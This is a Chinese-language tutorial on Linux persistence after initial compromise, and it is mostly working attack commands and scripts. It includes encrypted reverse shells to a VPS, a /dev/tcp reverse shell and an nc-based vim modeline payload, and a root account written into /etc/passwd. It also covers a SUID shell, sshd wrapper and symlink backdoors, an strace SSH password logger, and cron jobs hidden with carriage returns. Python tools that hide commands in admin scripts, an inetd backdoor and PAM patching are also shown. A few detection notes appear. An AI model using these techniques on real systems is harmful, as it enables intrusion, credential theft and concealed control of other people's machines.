Linux系统本地持久化技术
初始权限获取
一般是通过RCE、webshell等方法建立一个初始shell,拥有的也是一个权限较低的网站服务用户shell,建立连接后为了后续的攻击利用就需要进行权限维持。
PS:常见的反弹shell指令生成站点 reverse-shell
如果遇到目标环境无法反弹shell,最后测试得出只开放了80和443,通过白名单反弹shell时又发现流量被拦截了,那么可以尝试通过加密数据包的方式逃避流量设备的监控,具体操作如下:
法一:使用openssh建立加密连接
第一步:在VPS 上生成 SSL 证书的公钥/私钥对
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
第二步:VPS 监听反弹 shell
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
第三步:目标主机发起连接
mkfifo /tmp/wing;/bin/bash -i < /tmp/wing 2>&1 |openssl s_client -quiet -connect <vps_ip>:<port> > /tmp/wing
获得shell
建立pty伪终端:
# 使用python得到一个伪shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
# 转换为稳定shell:
ctrl + z
stty raw -echo
fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 54 columns 104
PS:原本的攻击机shell要是/bin/bash才可以
法二:使用socat建立加密连接
# VPS 上执行
socat file:`tty`,raw,echo=0 tcp-listen:9999
# 把socat上传到目标机器上,然后执行:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<vps_ip>:9999
权限维持
修改文件/终端属性
文件创建时间
防守方可以根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就可以判断shell.php的生成时间有问题。
解决方法:
touch -r index.php shell.php
touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。
文件锁定
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
chattr +i evil.php #锁定文件
rm -rf evil.php #提示禁止删除
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除文件

历史操作命令
如果不希望执行的命令被记录在命令行历史中,有以下几个方法:
法一:只针对当前工作关闭历史记录
[space]set +o history
PS:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录
此命令会临时禁用历史功能,这意味着在这命令之后执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令:
[Space]set -o history #将环境恢复原状
法二:从历史记录中删除指定的命令
通过下面的命令可以将已经记录的命令进行删除:
history | grep "keyword"
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
history -d [num]
删除大规模历史操作记录,如只保留前150行:
sed -i '150,$d' .bash_history
passwd写入
/etc/passwd 组成部分:用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
/etc/shadow 组成部分:用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
写入示例:
1.增加超级用户
perl -le 'print crypt("momaek","salt")'
# > savbSWc4rx8NY
echo "momaek:savbSWc4rx8NY:hacker:/root:/bin/bash" >> /etc/passwd
2.如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号
echo "momaek:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
SUID后门
当一个文件所属主的x标志位为s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。必要条件:
1、SUID权限仅对二进制程序有效。
2、执行者对于该程序需要具有x的可执行权限
3、本权限仅在执行该程序的过程中有效
4、在执行过程中执行者将具有该程序拥有者的权限
创建suid权限的文件:
cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot
ls -al /.woot
# > -rwsr-xr-x 1 root root 690668 Jul 24 17:14 .woot
使用一般用户运行:
/tmp/.woot
/tmp/.woot -p # bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell
检测:查找具有suid权限的文件即可
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null

LKM Linux rootkit后门
工具:Reptile
适用的系统:
Debian 9:4.9.0-8-amd64
Debian 10:4.19.0-8-amd64
Ubuntu 18.04.1 LTS:4.15.0-38-generic
Kali Linux:4.18.0-kali2-amd64
Centos 6.10:2.6.32- 754.6.3.el6.x86_64
Centos 7:3.10.0-862.3.2.el7.x86_64
Centos 8:4.18.0-147.5.1.el8_1.x86_64
该工具实现的功能:赋予非特权用户以root权限、隐藏文件和目录、隐藏流程、隐藏自己、隐藏TCP / UDP连接、隐藏的引导持久性、文件内容篡改、一些混淆技术、ICMP / UDP / TCP端口敲门后门、Client to handle Reptile Shell、Shell connect back each X times (not default)
使用方法参考文档:
- https://www.3hack.com/tools/85.html
- https://www.cnblogs.com/stone-dan-dan/p/rookit.html
- https://zdy.github.io/2020/03/19/5/
PS:此工具使用条件复杂,需要多个第三方工具或环境,不适用于真实攻击场景。
SSH 后门
SSH wrapper
原理是用一个 Perl 脚本替换系统默认的 sshd 程序,实现:
- 正常用户连接(任意源端口):脚本转发请求到真正的 SSH 服务,登录行为完全正常;
- 攻击者连接(指定源端口,比如 13377):脚本直接返回
/bin/sh(root shell),无需密码。
建立后门连接
靶机执行:
判断连接来源端口,将恶意端口来源访问传输内容重定向到/bin/sh中:
# 备份原始 SSH 服务程序
cd /usr/sbin/
mv sshd ../bin/
# 验证备份:执行下面命令能看到 sshd 版本,说明备份成功
/usr/bin/sshd -V
# 编写 Perl 包装器脚本(替换原来的 /usr/sbin/sshd)
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd # 4A是13377的小端模式
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
# 重启服务,不同的版本有不同的命令
/etc/init.d/sshd restart
systemctl restart sshd
systemctl status sshd # 验证状态
PS:如果重启后 SSH 无法连接,大概率是脚本路径写错了,直接执行
cp /usr/bin/sshd /usr/sbin/sshd恢复原始 sshd,再重新操作。
攻击机执行:
# 连接后门
socat STDIO TCP4:target_ip:22,sourceport=13377

实现原理:init 首先启动的是 /usr/sbin/sshd,脚本执行到 getpeername 这里的时候,正则匹配会失败,于是执行下一句,启动 /usr/bin/sshd,这是原始 sshd。原始的 sshd 监听端口建立了 tcp 连接后,会 fork 一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字, getpeername 能真的获取到客户端的 TCP 源端口,如果是 13377 就执行sh给个shell。
要修改连接端口的话可以利用py修改:
import struct
buffer = struct.pack('>I6',19526)
print repr(buffer)

优点:
1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆,也不影响后续正常登录。
2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。
缺点也很明显,布置后门时需要重启ssh服务,影响正常连接,引起怀疑。
清理后门连接
执行以下命令即可删除后门连接恢复正常:
# 1. 停止 sshd 服务
systemctl stop sshd
# 2. 删除写的后门脚本
rm -f /usr/sbin/sshd
# 3. 恢复原始 sshd 程序
cp /usr/bin/sshd /usr/sbin/
# 4. 重启 sshd 服务
systemctl restart sshd
# 5. 查看服务状态
systemctl status sshd
SSH 软连接后门
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测 uid 0 即可认证成功,这样就导致了在指定端口可以使用任意密码登录。
创建后门连接
# 靶机执行
ln -sf /usr/sbin/sshd /tmp/su
# 验证软连接:显示 /tmp/su -> /usr/sbin/sshd,说明创建成功
ls -l /tmp/su
# 启动伪装的 SSH 服务
/tmp/su -oPort=888
# 攻击机登录,登录时输入任意密码均可登录
ssh root@<target_ip> -p 888
优点:能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口。
清除后门连接
# 1. 找到并杀死伪装的 sshd 进程(端口 888)
ps aux | grep "/tmp/su" # 找到进程 PID
kill -9 <PID>
# 2. 删除软连接
rm -f /tmp/su
# 3. 验证清理:888 端口不再监听
netstat -tulnp | grep 888 # 无输出说明清理成功
SSH 公钥免密登陆
# 攻击机执行,生成公私钥
ssh-keygen -t rsa -f id_rsa -N ""; chmod 600 id_rsa
# 生成后会得到两个文件:
# id_rsa:私钥(攻击机保存,不能泄露)
# id_rsa.pub:公钥(内容上传到靶机)
# 靶标执行
# 将id_rsa.pub内容放到目标.ssh/authorized_keys里,下面两个方法都可以
cat id_rsa.pub >> /root/.ssh/authorized_keys
echo "<id_rsa.pub内容>" >> /root/.ssh/authorized_keys
# 确保 .ssh 目录权限正确(否则SSH会忽略密钥)
mkdir -p /root/.ssh && chmod 700 /root/.ssh && chmod 600 /root/.ssh/*
# 攻击机连接
ssh -i id_rsa root@192.168.120.143

古老但好用的方法,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接,Redis未授权访问等情景。
SSH Keylogger记录密码
如果目标系统存在strace的话(which strace查询),它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
步骤一:配置靶机并尝试登录
在当前用户的 .bashrc 里新建一条 alias ,这样可以抓取他登陆其他机器的 ssh 密码:
# 靶机执行:向root用户的.bashrc添加alias(隐藏性更强)
echo 'alias ssh="strace -o /tmp/.sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh"' >> /root/.bashrc
# 命令参数说明:
# -o /tmp/.sshpwd-xxx.log:输出日志到/tmp目录,文件名是 .sshpwd-日期时间.log(.开头隐藏文件,更隐蔽)
# -e read,write,connect:只跟踪3个系统调用(read=读输入,write=写输出,connect=建立连接),减少日志冗余
# -s2048:默认strace只显示32字节数据,-s2048延长显示长度(避免密码被截断)
# ssh:最后是真正要执行的ssh命令(保持原功能不变,用户无感知)
使 alias 立即生效:
# 加载.bashrc的新配置
source /root/.bashrc
# 验证alias是否生效
alias ssh # 输出如下说明生效:alias ssh='strace -o /tmp/.sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
设置完毕后,倘若当前系统不存在alias,那么就会影响其正常使用:
步骤二:模拟登录
模拟靶标用户使用密码ssh登录其他主机:
步骤三:提取日志中的明文密码
1.查看 /tmp 目录下的日志文件(. 开头的隐藏文件)
# 靶机执行:列出/tmp目录下的ssh密码日志
ls -la /tmp | grep .sshpwd- # 输出类似:-rw-r--r-- 1 root root 1234 12月 1 10:00 .sshpwd-01Dec1123456.log
2.读取文件查找记录的密码
grep "read(4" /tmp/.sshpwd* | tail -n 20 # 根据不同环境自行调试响应行数

局限性:
- 很多Linux不存在strace,手动安装不现实;
- 若strace不存在,执行ssh会报错 “command not found”,直接被用户察觉;
- strace 会轻微降低 ssh 连接速度,敏感用户可能发现异常;
/tmp目录的日志文件可能被运维人员发现(即使是隐藏文件,ls -la也能看到);- 适用范围窄,只能抓取 “当前用户本地 ssh 的密码”,不能抓取远程连接密码,也不能抓取密钥登录的情况。
strace监听ssh来源流量
strace不只是可以监听对外连接,还可以用来抓到别人连入的密码。应用场景如:通过漏洞获取root权限,但是不知道明文密码在横向扩展中可以使用,之前有用别名的方式来抓取登陆其他机器时的密码、同样也可以利用strace来监听登陆本地的sshd流量。
ps -ef | grep sshd //父进程PID
strace -f -p <PID> -o /tmp/.ssh.log -e trace=read,write,connect -s 2048

查看监听到的记录:
ls -al /tmp | grep ssh
grep "read(6" /tmp/.ssh.log | tail -n 15

防守检测:查看shell的配置文件或者 alias 命令即可发现,例如 ~/.bashrc 或 ~/.zshrc 文件查看是否有恶意的 alias
Cron后门
Cron 后门的核心是 “给 Cron 添加一条定时执行的恶意任务”,让目标机器每隔一段时间自动运行攻击者的恶意指令,cron表达式在线生成。
正常cron写法管理员执行 crontab -l 能轻松看到命令内容,非常不隐蔽:
(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -

常规方法
利用“控制字符覆盖” 和 “文件显示特性”使 crontab -l 执行后会显示"no crontab for root",达到隐藏的效果,这时候管理员如果执行 crontab -l 就会看到显示"no crontab for root",比如下面这个命令:
(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

实际上是将 cron 文件写到文件中,而 crontab -l 就是列出了该文件的内容:
/var/spool/cron/root

通常 cat 是看不到这个的,只能利用 less、vim 或者 cat -A 看到:

这也是利用了cat的一个缺陷,原理如下:
- 当文件中包含
\r、\n、\f等控制字符时,cat命令会按 “文本流” 处理,自动忽略或合并控制字符,导致恶意任务被no crontab for root覆盖显示;- 而
less、vim或cat -A会显示所有控制字符(包括\r),所以能看到真实内容。
进阶方法
除了修改用户级cron配置,还可以将诶呀脚本放在系统级cron目录,无需写cron表达式,按固定周期自动执行:
# 系统级Cron目录(不同目录对应不同执行周期)
/etc/cron.d/ # 自定义周期(需写Cron表达式,如新建文件放任务)
/etc/cron.hourly/ # 每小时执行(脚本无需Cron表达式,直接放这里即可)
/etc/cron.daily/ # 每天执行
/etc/cron.weekly/ # 每周执行
/etc/cron.monthly/ # 每月执行
用法示例:
-
准备一个内容为反弹shell的恶意脚本
evil.sh:#!/bin/bash bash -i >& /dev/tcp/攻击者IP/8888 0>&1 -
路径伪装
新建一个系统风格的隐藏目录(名字带
.,且模仿系统路径),并将恶意程序放进去,同样改为系统风格的文件名:# .开头是隐藏目录,ls默认看不到 mkdir -p /usr/lib/.system-update/ # 无后缀,更像系统程序 mv ./evil.sh /usr/lib/.system-update/system-maintain # 加执行权限 chmod +x /usr/lib/.system-update/system-maintain -
在
/etc/cron.hourly/中创建一个软连接指向隐藏的恶意文件:# 创建软连接,软链接名字模仿系统自带脚本(比如系统可能有apt-update、yum-clean等) ln -s /usr/lib/.system-update/system-maintain /etc/cron.hourly/system-update
实际防守中较少会仔细核查这些目录中的内容,因此有较好的隐蔽效果,效果如图:

Cat隐藏
可以利用前面的Cron方法中提到的cat缺陷,将恶意命令隐藏在一些脚本中,比如一些企业的运维脚本工具中,常规使用cat命令也看不出来其中的恶意命令。
使用python生成带有换行符内容的sh脚本:
cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # hidden
cmd_v = "echo 'Hello world!'" # visible
with open("test.sh", "w") as f:
output = "#!/bin/sh\n"
output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
f.write(output)
使用 py 生成了一个 test.sh 脚本,可以看到不执行 cat -A 或vim根本看不到隐藏的内容,效果如下:

实操示例:
准备一个运维脚本bakup.sh:
#!/bin/bash
# 服务器数据备份脚本(每日凌晨3点执行)
# 备份目录:/data → /backup/data_$(date +%Y%m%d).tar.gz
tar -zcf /backup/data_$(date +%Y%m%d).tar.gz /data
# 等待3秒,确保数据写入完成
# sleep 3
echo "[$(date)] 数据备份完成,备份文件:/backup/data_$(date +%Y%m%d).tar.gz" >> /var/log/backup.log
法一:注释中插入
将恶意指令插入到运维脚本bakup.sh的中间的注释行中 —— 利用注释 # 伪装,让隐藏命令看起来是注释的一部分,比如原有的注释:
# 等待3秒,确保数据写入完成
# sleep 3
使用脚本精准替换运维脚本中的 “目标行”(通常在注释后),伪装成原命令:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Shell脚本伪装插入工具
功能:在shell脚本的特定行插入隐藏命令,使用普通cat只能看到伪装内容,
使用cat -A或vim才能看到真实内容,且不影响脚本正常运行。
使用说明:
1. 先在目标脚本中找到要替换的目标行(比如 "# sleep 3")
2. 修改下方参数运行脚本
3. 普通 cat 查看时只能看到伪装内容
4. cat -A 或 vim 可以看到真实内容(包括隐藏命令)
"""
import os
import sys
# ====================== 【用户可配置参数】 ======================
ORIGIN_SCRIPT = "./backup.sh" # 目标shell脚本路径(必填)
TARGET_LINE = "# sleep 3" # 脚本中要替换的目标行(必须和原脚本完全一致,包括空格)
# 隐藏命令:要悄悄执行的操作(建议加 > /dev/null 2>&1 & 后台无输出)
HIDDEN_CMD = "echo '窃取数据成功' > /var/lib/.hidden/.steal_data 2>&1 &"
# 伪装命令:必须和 TARGET_LINE 完全一致(确保 cat 查看无异常)
FAKE_CMD = TARGET_LINE
# =================================================================
def create_hidden_line(hidden_cmd, fake_cmd):
"""
构造隐藏行:隐藏命令;伪装命令 #\r伪装命令 + 空格
通用计算:确保覆盖内容长度严格大于需要覆盖的长度
"""
# 需要覆盖的内容:隐藏命令;伪装命令 #
to_cover = f"{hidden_cmd};{fake_cmd} #"
cover_len = len(to_cover)
# 覆盖内容:伪装命令 + 空格
# 要完全覆盖,需要:len(伪装命令) + 空格长度 >= cover_len
# 使用严格大于,确保完全覆盖
space_len = cover_len - len(fake_cmd) + 20 # 额外加20个空格确保完全覆盖
hidden_line = f"{to_cover}\r{fake_cmd}{' ' * space_len}"
return hidden_line
def insert_hidden_in_middle(origin_script, target_line, hidden_cmd, fake_cmd):
"""
在目标脚本中插入隐藏命令
Args:
origin_script: 目标脚本路径
target_line: 要替换的目标行(必须完全匹配)
hidden_cmd: 隐藏的命令
fake_cmd: 伪装显示的命令
Returns:
bool: 是否成功
"""
# 1. 检查目标脚本是否存在
if not os.path.exists(origin_script):
print(f"错误:目标脚本 {origin_script} 不存在!")
return False
# 2. 检查目标行是否和伪装命令一致
if fake_cmd != target_line:
print(f"错误:伪装命令必须和目标行完全一致!")
return False
# 3. 读取原有脚本内容
try:
with open(origin_script, "r", encoding="utf-8") as f:
lines = f.readlines()
except Exception as e:
print(f"错误:读取脚本失败 - {str(e)}")
return False
# 4. 查找目标行并替换
target_found = False
new_lines = []
for line in lines:
# 去除行尾换行符进行比较
line_stripped = line.rstrip('\n\r')
if line_stripped == target_line and not target_found:
# 找到目标行,替换为隐藏行
hidden_line = create_hidden_line(hidden_cmd, fake_cmd)
# 保留原行的换行符
new_line = hidden_line + line[len(line_stripped):]
new_lines.append(new_line)
target_found = True
else:
new_lines.append(line)
if not target_found:
print(f"错误:未找到目标行 '{target_line}'")
return False
# 5. 写回脚本
try:
with open(origin_script, "w", encoding="utf-8") as f:
f.writelines(new_lines)
except Exception as e:
print(f"错误:写入脚本失败 - {str(e)}")
return False
# 6. 验证插入成功
try:
with open(origin_script, "rb") as f:
content = f.read()
if hidden_cmd.encode('utf-8') in content:
return True
else:
print("错误:隐藏命令插入失败")
return False
except Exception as e:
print(f"错误:验证失败 - {str(e)}")
return False
# 执行插入
if __name__ == "__main__":
success = insert_hidden_in_middle(ORIGIN_SCRIPT, TARGET_LINE, HIDDEN_CMD, FAKE_CMD)
if success:
print("完成")
sys.exit(0 if success else 1)
演示效果:


可以发现cat命令显示一切正常,但使用cat -A和vim就可以发现里面多了不该有的内容
法二:文件末尾追加
将恶意指令插入到运维脚本bakup.sh的文件末尾,集大程度降低了对脚本原功能的影响:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Shell脚本隐藏追加工具
功能:在shell脚本的末尾追加隐藏命令,普通cat完全看不到任何新增内容,
使用cat -A或vim才能看到真实内容,且完全不影响脚本正常运行。
使用说明:
1. 修改下方参数运行脚本
2. 普通 cat 查看时完全看不到新增内容(保持原样)
3. cat -A 或 vim 可以看到真实内容(包括隐藏命令)
"""
import os
import sys
# ====================== 【用户可配置参数】 ======================
ORIGIN_SCRIPT = "./backup.sh" # 目标shell脚本路径(必填)
# 隐藏命令:要悄悄执行的操作(建议加 > /dev/null 2>&1 & 后台无输出)
HIDDEN_CMD = "echo '窃取数据成功' > /var/lib/.hidden/.steal_data 2>&1 &"
# =================================================================
def create_invisible_line(hidden_cmd):
"""
构造完全不可见的隐藏行:隐藏命令\r + 足够空格 + \r
这样普通cat时看起来就像没有新行,完全不可见
"""
# 计算需要覆盖的长度
cover_len = len(hidden_cmd) + 50 # 额外加50个空格确保完全覆盖
# 构造:隐藏命令 + \r回到行首 + 空格覆盖 + \r再次回到行首 + 换行
# 这样终端会显示一个空行,但实际上有隐藏命令
invisible_line = f"{hidden_cmd}\r{' ' * cover_len}\r\n"
return invisible_line
def append_hidden_to_end(origin_script, hidden_cmd):
"""
在目标脚本末尾追加隐藏命令(完全不可见)
Args:
origin_script: 目标脚本路径
hidden_cmd: 隐藏的命令
Returns:
bool: 是否成功
"""
# 1. 检查目标脚本是否存在
if not os.path.exists(origin_script):
print(f"错误:目标脚本 {origin_script} 不存在!")
return False
# 2. 读取原有脚本内容
try:
with open(origin_script, "r", encoding="utf-8") as f:
content = f.read()
except Exception as e:
print(f"错误:读取脚本失败 - {str(e)}")
return False
# 3. 检查是否已经追加过(避免重复追加)
if hidden_cmd in content:
print("警告:脚本中已存在隐藏命令,跳过追加")
return False
# 4. 构造完全不可见的隐藏行并追加
invisible_line = create_invisible_line(hidden_cmd)
# 确保原文件末尾有换行符
if content and not content.endswith('\n'):
content += '\n'
# 追加隐藏行(普通cat时看起来就像空行,完全不可见)
new_content = content + invisible_line
# 5. 写回脚本
try:
with open(origin_script, "w", encoding="utf-8") as f:
f.write(new_content)
except Exception as e:
print(f"错误:写入脚本失败 - {str(e)}")
return False
# 6. 验证追加成功
try:
with open(origin_script, "rb") as f:
file_content = f.read()
if hidden_cmd.encode('utf-8') in file_content:
return True
else:
print("错误:隐藏命令追加失败")
return False
except Exception as e:
print(f"错误:验证失败 - {str(e)}")
return False
# 执行追加
if __name__ == "__main__":
success = append_hidden_to_end(ORIGIN_SCRIPT, HIDDEN_CMD)
if success:
print("完成")
sys.exit(0 if success else 1)
演示效果:

成功追加至backup末尾,cat无法直接看到。
Vim后门
vim modeline(CVE-2019-12735)
该漏洞存在于编辑器的 modeline 功能,部分 Linux 发行版默认启用了该功能,macOS 是没有默认启用。 当 vim 打开一个包含了 vim modeline 注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置。如今vim默认关闭modeline。
modeline功能开启命令:
vim ~/.vimrc
set modeline
当前目录下创建文件:
echo ':!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > hello.txt
vim hello.txt

反弹shell:
:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> <port> >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
vim python 扩展后门
适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。
-
确认环境,验证靶机是否支持 Vim Python 扩展:
# 验证 Vim 是否支持 Python2(目标脚本是 Python2 语法) vim -E -c "py print 'test'" # 无报错 → 支持 Python2 # 或验证 Python3(若目标机只有 Python3,需修改脚本语法) vim -E -c "py3 print('test')" # 无报错 → 支持 Python3- 若报错
E319: 对不起,这个 Vim 版本不支持 Python,则此方法失效; - 若提示
py3未定义,说明只支持 Python2(刚好匹配目标脚本)。
- 若报错
-
上传恶意脚本
恶意脚本 dir.py 的内容可以是任何功能的后门,比如监听本地的11端口:
# 靶标上执行:创建Python3版本的dir.py(放在Python3.9的site-packages目录) cat > /usr/lib/python3.9/site-packages/dir.py << 'EOF' from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0', 11)) # 监听所有网卡11端口 server.listen(5) print('waiting for connect') talk, addr = server.accept() print('connect from', addr) proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True) EOF -
执行脚本
# 查找python真实路径 find /usr/lib -name "site-packages" | grep python3 # 执行脚本 cd <前面得到的路径> && $(nohup vim -E -c "py3file dir.py" > /dev/null 2>&1 &) && sleep 2 && rm -f dir.py -
攻击机nc连接
nc target_ip 11
inetd服务后门
inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果攻击者已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。
步骤一:目标主机配置
-
确认存在inetd服务
# 方法1:查看是否有 inetd 命令 which inetd # 输出 /usr/sbin/inetd → 存在;无输出 → 可能是 xinetd # 方法2:查看 inetd 配置文件 ls /etc/inetd.conf # 输出 /etc/inetd.conf → 存在;无输出 → 大概率是 xinetd -
修改 inetd配置文件
编辑
/etc/inetd.conf,添加后门配置:vim /etc/inetd.conf先在
/etc/services中注册自定义端口,让inetd识别端口对应的服务名:# 编辑 /etc/services,添加端口映射(比如 8080 端口,服务名随便写,比如 suidshell) vim /etc/services # 末尾添加一行(端口号可改,比如 443、80,常用端口更难被拦截) suidshell 8080/tcp # 格式:服务名 端口/协议 注释(可选)然后回到
/etc/inetd.conf,添加后门配置:# 自定义端口 8080 对应的后门:收到连接启动 bash -i suidshell stream tcp nowait root /bin/bash bash -i -
保存配置,重启inetd服务
# 方法1:直接启动 inetd(如果没运行) inetd # 方法2:重启 inetd(如果已运行,CentOS 6/Ubuntu 14.04) pkill -HUP inetd # 发送重启信号,不中断服务 # 验证 inetd 是否在运行 ps aux | grep inetd # 输出类似 root 1234 0.0 0.0 12348 980 ? Ss 10:00 0:00 inetd → 运行成功 -
验证监听
netstat -tulnp | grep inetd
步骤二:攻击机操作
根据目标主机配置的端口,进行nc连接:
nc -vv target_ip 8080
其他方法
PAM后门
主要目的是键盘记录。原理主要是通过 pam_unix_auth.c 打补丁的方式潜入到正常的 pam 模块中,以此来记录管理员的帐号密码。
利用步骤:复制patch到源代码目录 >>> 打patch >>> 编译 >>> 将生成的pam_uninx.so文件覆盖到/lib/secruity/pam_unix.so下 >>> 修改文件属性 >>> 建立密码保存文件,并设置好相关的权限 >>> 清理日志 >>> ok
#确保ssh开启pam支持
vim /etc/ssh/sshd_config
UsePAM yes
#自动化脚本
https://github.com/litsand/shell/blob/master/pam.sh
检测:
1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so #32位
stat /lib64/security/pam_unix.so #64位
清除:yum reinstall pam
进程注入
从技术上说,获取其它的进程并修改它一般是通过操作系统提供的调试接口来实现的,在 linux 中具有调试功能的工具有 ptrace、Gdb、radare2、strace 等,这些工具都是使用 ptrace 这个系统调用来提供服务的。ptrace 系统调用允许一个进程去调试另外一个进程。
GitHub存在大量开源工具,比如: linux-inject,主要原理是使用 ptrace 向进程中注入恶意 so 文件
./inject [-n process-name] [-p pid] [library-to-inject]
./inject -n sample-target sample-library.so
清除:kill或者重启对应的进程即可
还有 cymothoa :https://github.com/jorik041/cymothoa
Rootkit
rootkit分为内核级和应用级两种:内核级的比如:Diamorphine,应用级的比如:Mafix
Mafix 是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。应用级rookit,主要替换ls、ps、netstat命令来隐藏文件
检测:使用相关检测工具,比如:unhide

浙公网安备 33010602011771号